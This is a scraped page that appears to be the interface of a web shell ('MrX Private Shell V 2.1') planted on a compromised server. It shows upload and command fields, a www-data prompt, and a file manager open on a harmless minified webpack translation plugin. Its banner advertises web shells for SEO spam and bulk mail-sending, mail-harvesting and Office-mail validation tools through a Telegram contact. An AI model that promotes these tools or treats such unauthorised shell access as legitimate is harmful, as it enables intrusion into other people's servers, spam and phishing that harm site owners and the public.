__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
function _typeof(t){return(_typeof="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(t){return typeof t}:function(t){return t&&"function"==typeof Symbol&&t.constructor===Symbol&&t!==Symbol.prototype?"symbol":typeof t})(t)}function _createForOfIteratorHelper(t,e){var r,o,n,i,a="undefined"!=typeof Symbol&&t[Symbol.iterator]||t["@@iterator"];if(a)return n=!(o=!0),{s:function(){a=a.call(t)},n:function(){var t=a.next();return o=t.done,t},e:function(t){n=!0,r=t},f:function(){try{o||null==a.return||a.return()}finally{if(n)throw r}}};if(Array.isArray(t)||(a=_unsupportedIterableToArray(t))||e&&t&&"number"==typeof t.length)return a&&(t=a),i=0,{s:e=function(){},n:function(){return i>=t.length?{done:!0}:{done:!1,value:t[i++]}},e:function(t){throw t},f:e};throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}function _unsupportedIterableToArray(t,e){var r;if(t)return"string"==typeof t?_arrayLikeToArray(t,e):"Map"===(r="Object"===(r={}.toString.call(t).slice(8,-1))&&t.constructor?t.constructor.name:r)||"Set"===r?Array.from(t):"Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?_arrayLikeToArray(t,e):void 0}function _arrayLikeToArray(t,e){(null==e||e>t.length)&&(e=t.length);for(var r=0,o=Array(e);r<e;r++)o[r]=t[r];return o}function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function _defineProperties(t,e){for(var r=0;r<e.length;r++){var o=e[r];o.enumerable=o.enumerable||!1,o.configurable=!0,"value"in o&&(o.writable=!0),Object.defineProperty(t,_toPropertyKey(o.key),o)}}function _createClass(t,e,r){return e&&_defineProperties(t.prototype,e),r&&_defineProperties(t,r),Object.defineProperty(t,"prototype",{writable:!1}),t}function _toPropertyKey(t){t=_toPrimitive(t,"string");return"symbol"==_typeof(t)?t:t+""}function _toPrimitive(t,e){if("object"!=_typeof(t)||!t)return t;var r=t[Symbol.toPrimitive];if(void 0===r)return("string"===e?String:Number)(t);r=r.call(t,e||"default");if("object"!=_typeof(r))return r;throw new TypeError("@@toPrimitive must return a primitive value.")}var fs=require("fs"),path=require("path"),MakepotPlugin=(()=>_createClass(function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:{};_classCallCheck(this,t),this.options={output:e.output||"translations.pot",scriptPath:e.scriptPath||"",tempOutput:e.tempOutput||e.output+".temp"}},[{key:"apply",value:function(a){var u=this;a.hooks.afterPlugins.tap("MakepotPlugin",function(){var t,e=_createForOfIteratorHelper(a.options.module.rules);try{for(e.s();!(t=e.n()).done;){var r=t.value;if(r.test&&r.test.toString().includes("tsx")&&r.use){var o,n=_createForOfIteratorHelper(r.use);try{for(n.s();!(o=n.n()).done;){var i=o.value;"babel-loader"===i.loader&&(i.options.plugins=i.options.plugins||[],i.options.plugins.push(["@wordpress/babel-plugin-makepot",{output:u.options.tempOutput},"makepot-".concat(path.basename(u.options.output))]))}}catch(t){n.e(t)}finally{n.f()}}}}catch(t){e.e(t)}finally{e.f()}}),a.hooks.afterEmit.tapAsync("MakepotPlugin",function(t,e){if(fs.existsSync(u.options.tempOutput))try{var r=fs.readFileSync(u.options.tempOutput,"utf8").replace(/#: src\/[^\s]+\.tsx?:(\d+)/g,"#: ".concat(u.options.scriptPath,":$1"));fs.writeFileSync(u.options.output,r,"utf8"),fs.unlinkSync(u.options.tempOutput),console.warn("[MakepotPlugin] Generated: ".concat(u.options.output))}catch(t){console.error("[MakepotPlugin] Error:",t)}else console.warn("[MakepotPlugin] No POT file found at ".concat(u.options.tempOutput));e()})}}]))();module.exports=MakepotPlugin;

Filemanager

Name Type Size Permission Actions
build Folder 0755
MakepotPlugin.js File 2.08 KB 0644
MakepotPlugin.min.js File 3.57 KB 0644
Filemanager